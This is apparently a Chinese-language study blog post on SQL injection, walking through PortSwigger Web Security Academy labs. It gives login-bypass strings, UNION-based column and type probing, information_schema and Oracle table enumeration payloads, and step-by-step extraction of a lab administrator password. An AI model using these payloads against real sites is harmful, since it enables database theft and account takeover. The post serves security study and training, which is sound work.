第一章: SQL injection帳密繞過

題目1:

題目source code:

var query = "SELECT name FROM user where username = '" + username + "' and password = '" + password + "'";

解答

username: admin
password: unknown' or '1'='1
query: SELECT name FROM user where username = 'admin' and password = 'unknown' or '1'='1'

unknown後面的'很重要。

題目2:

如果某個網站可以輸入以下網址來查詢:

https://insecure-website.com/products?category=Gifts

而查詢語句是:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

這source code代表

  • all details (*)
  • 從products這個table撈
  • 從projects這個table中的Gifts的category撈
  • and released is 1.

有release = 1那很可能有release = 0,可能代表未公開商品。

如果輸入

https://insecure-website.com/products?category=Gifts'--

這會使查詢語句變成:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

--是sql語句中的註解符號,所以後面的AND release = 1會變成沒有用,造成未公開商品暴露。

如果輸入

https://insecure-website.com/products?category=Gifts'+OR+1=1--

這會使查詢語句變成:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

這代表category是gifts或是1=1都可以,而1=1又永遠為真,所以會暴露所有category的商品。

Lab 1:

https://0a90000f0417836082c3c968005a009e.web-security-academy.net/filter?category=Gifts

source code:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

sql指令: (加在網址的Gifts後面)

'+OR+1=1-- :

Lab 2:

點右上角的account,會出現類似題目1的畫面,解法也跟題目1相同。name依題目要求輸入administrator,密碼用aaa' or '1'='1即可:

第二章:UNION 型 SQL 注入

SQL 語法的 UNION 的關鍵字可執行多個 SELECT:

SELECT a FROM table1 UNION SELECT b FROM table2

回傳包含 table1 的 a 行 與 table2 的 b 行的值:

限制條件:

  1. 前後的資料欄位數量必須相同,才能夠合併。

  2. 每一欄的資料類型必須兼容: 不可以某一欄只接受數字,但是你卻嘗試將字元型的也併入

關於限制條件1: 如何確認資料欄位數量?

假設原 SQL 中, SELECT 了三個欄位 (分別為 id、account、password)

由於原SQL語法只有 SELECT 三個欄位,所以當駭客測試到 ORDER BY 4 就會回報錯,駭客就可以得知原語法只有三個欄位:

<原SQL語法> ORDER BY 1;
<原SQL語法> ORDER BY 2;
<原SQL語法> ORDER BY 3;
<原SQL語法> ORDER BY 4;

關於限制條件2: 如何確認資料類型?

目前已經得知 SELECT 三個欄位有3個,但是駭客不知道資料庫每個欄位的資料類型 (大致可分為數字或字元)。由於數字可以被資料庫當作字元,字元不能被當作數字,所以我們使用一個字元 'a' 來對每個欄位進行測試,當數據類型不相容,則會產生錯誤,若資料庫中 id 欄位只接受數字,則在 SELECT 'a', NULL, NULL 指令中會顯示錯誤

<原SQL語法> UNION SELECT 'a', NULL, NULL
<原SQL語法> UNION SELECT NULL, 'a', NULL
<原SQL語法> UNION SELECT NULL, NULL, 'a'

如何得知欄位名稱?

假設原 SQL 語法如下:

SELECT `id`, `name`
FROM `User`
WHERE `id` = {id};

想使用的union攻擊如下:

SELECT `id`, `name`
FROM `User`
WHERE `id` = 0
UNION SELECT NULL, `content`
FROM `Secret`;

如何知道上例中的 Secret(database中的table)、 content(table中的column)的名稱? 另外,要怎麼知道union select後面需要接幾個(就是要知道有幾欄)?(上面已有說明)

資料庫元素由大到小: database -> table -> column,這也是查詢的順序。

知道databese名稱:

在 MySQL / MariaDB 中,預設會有一個 database 儲存資料庫的 schema 資料,稱為 information_schema。

information_schema.schemata: 抓取 database 的名稱

利用 UNION,我們可以構建這樣的 SQL 語法,取得資料庫名稱:

<原SQL語法> 
UNION SELECT NULL, `SCHEMA_NAME` 
FROM `information_schema`.`schemata`;

information_schema.tables: 儲存了各個資料庫的 table 資訊

利用 UNION,我們可以構建這樣的 SQL 語法,取得table名稱:

<原SQL語法> 
UNION SELECT NULL, `TABLE_NAME` 
FROM `information_schema`.`tables` 
WHERE `TABLE_SCHEMA` = 'CTF';

information_schema.columns: 抓取database的table的column的名稱

利用 UNION,我們可以構建這樣的 SQL 語法,取得 column 名稱:

<原SQL語法> 
UNION SELECT NULL, `COLUMN_NAME`
FROM `information_schema`.`columns`
WHERE `TABLE_SCHEMA` = 'CTF'
    AND `TABLE_NAME` = 'Secret';

有了上述資料,便可以了解資料庫中的結構,接著便可以利用 UNION 來將任意資料竊取出來:

<原SQL語法> 
UNION SELECT NULL, `content`
FROM `Secret`;

結論,做lab之前,需要做的事有以下幾項:

確認欄數、確認每一欄資料類型(這兩步都是同樣網站做過一次,以後就可以不用再做)、找到對應語句。如果需要存取某個column的資料,則要繼續做以下4步驟: 確認有哪些DB,特定DB裡的所有table,鎖定可疑table列出它所有column,列出column內資料(指令: select column名稱 from table名稱)。

另外要注意的,是瀏覽器的轉譯(百分比表示法)。在網址列上,空白要打成+號、'要打成%27、#要打成%23。尤其是#要注意。

Lab:

目前lab網址:

https://0af50006045d1a2a80d503bb00620061.web-security-academy.net/filter?category=Gifts

step 1. 確認欄數

sql指令 (貼在Gifts後面):

'+UNION+SELECT+NULL+FROM+DUAL--

注意第一個'超重要!

指令來源:

除了上面教的order by以外,還有另一種方式可以確認:

實行結果:

看起來是錯誤,代表1列不對,所以把語句改成如下,看是不是兩列:

'+UNION+SELECT+NULL,NULL+FROM+DUAL--

看起來是bingo了。

step 2. 確認欄位(column)的資料類型

sql指令:

'+UNION+SELECT+'test','test'+FROM+DUAL--
指令來源:

實行結果:

step 3. 確認orcale的DB版本:

sql指令:

'+UNION+SELECT+banner,+NULL+FROM+v$version--

注意banner不用加單引號!

指令來源:

Oracle SQL Injection Cheat Sheet | pentestmonkey

Find Oracle version and edition – SQL Bits

實行結果:

Lab:

跟上一題類似,也是要用sql語句查詢作業系統。

step 1. 測試有幾欄:

sql指令:

'+UNION+SELECT+NULL,NULL%23

指令來源:

最後面的--是註解,用途把後面的語句註解掉。而MySQL的註解是#,百分比編碼是%23。

實行結果:

跟剛剛一樣兩欄。

step 2. 列出版本

sql指令:

%27+UNION+SELECT+@@version,+NULL%23

指令來源:

MySQL SQL Injection Cheat Sheet | pentestmonkey

拼湊出SQL語句(%27就是',加號就是空白) :

實行結果:

Lab:

題目是要你在非orcale的資料庫,利用SQL injection找出administrator的密碼。可以參考

MySQL SQL Injection Cheat Sheet | pentestmonkey

step 1. 確認有幾欄:

sql指令:

%27+UNION+SELECT+NULL,NULL--

指令來源:

實行結果:

只要不寫什麼「internal server error」,代表欄數2是對的。

step 2. 列出資料庫:

sql指令:

%27+UNION+SELECT+schema_name,+NULL+FROM+information_schema.schemata--

指令來源:

實行結果:

step 3. 列出public這個資料庫的table:

sql指令:

%27+UNION+SELECT+NULL,+TABLE_NAME+FROM+information_schema.tables+WHERE+TABLE_SCHEMA+=+%27public%27--

指令來源:

上面列的指令跟指令來源有些不同,因為不須列出table_schema,所以以NULL代替;另外也沒有AND table_schema != ‘information_schema’,而是table_schema = public,因為是要列出public的table。下一張可能會比較像:

實行結果:

step 4. 列出public這個資料庫的users_geekak table的所有column:

sql指令:

%27+UNION+SELECT+NULL,+COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_SCHEMA+=+'public'+AND+TABLE_NAME+=+'users_geekak'--

指令來源:

實行結果:

step 5. 列出public這個資料庫的users_geekak table的兩個column,username_kjqfzv跟password_ayysbl內容:

sql指令:

'+UNION+SELECT+username_kjqfzv,+password_ayysbl+FROM+users_geekak--

指令來源:

"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:

Lab:

Lab: SQL injection attack, listing the database contents on Oracle | Web Security Academy

題目是要你在orcale的資料庫,利用SQL injection找出administrator的密碼。其實跟上一題的邏輯是一模一樣,只是指令會長的不同。Orcale的SQLi cheat sheet請參照

Oracle SQL Injection Cheat Sheet | pentestmonkey

先到頁面,隨便點一個tag如上圖紅圈處,網址後面就會出現filter?catarory=Gifts。接下來的步驟,注意sql指令都是直接貼在網址列的Gifts後面。

step 1. 確認欄位數量:

sql指令:

'+UNION+SELECT+NULL,NULL+FROM+DUAL--

指令來源:

實行結果:

只要不寫什麼「internal server error」,代表欄數2是對的。

step 2. 確認所有DB

sql指令:

%27+UNION+SELECT+DISTINCT+owner,+NULL+FROM+all_tables--

指令來源:

因為有兩欄,所以會變成多一個NULL。

實行結果:

不過這一條指令的輸出後面不會用到,所以這條指令其實沒有用。

step 3. 列出資料庫所有table

sql指令:

%27+UNION+SELECT+table_name,+NULL+FROM+all_tables--

指令來源:

實行結果:

注意上圖反藍處USERS_SNXDGH,它是可疑的table。

step 4. 列出USERS_SNXDGH table中的所有column

sql指令:

%27+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name+=+'USERS_SNXDGH'--

指令來源:

注意要改一下table_name。

實行結果:

輸出兩個column,USERNAME_JGKYJS跟PASSWORD_GUXBZE如紅圈處。

step 5. 列出上述兩個column的內容

sql指令:

'+UNION+SELECT+USERNAME_JGKYJS,+PASSWORD_GUXBZE+FROM+USERS_SNXDGH--

指令來源:

"select 欄位名稱 from table名稱"是所有資料庫共通指令。

實行結果:

可從上圖紅圈處得知帳密分別是administrator跟itjyukxtgiyep2sd0vey。

點選頁面上方My account,用剛剛得到的帳密進行登入:

成功解出lab。


#sql injection: 繞過帳密 #sql injection: 確認欄位(column)數量 #sql injection: 確認欄位(column)資料型態 #sql injection: 確認所有DB(database)名稱(含orcale) #sql injection: 確認某一DB(database)裡的所有table名稱(含orcale) #sql injection: 確認某一DB(database)裡的某一table裡的所有欄位(column)名稱(含orcale) #sql injection: 確認DB(database)版本 #sql injection: union注入







Related Posts

【THM Walkthrough】Exploiting Active Directory (2)

【THM Walkthrough】Exploiting Active Directory (2)

React 增進效能,避免重複渲染 Rerender

React 增進效能,避免重複渲染 Rerender

Leetcode 刷題 pattern - Fast & Slow Pointer

Leetcode 刷題 pattern - Fast & Slow Pointer


Comments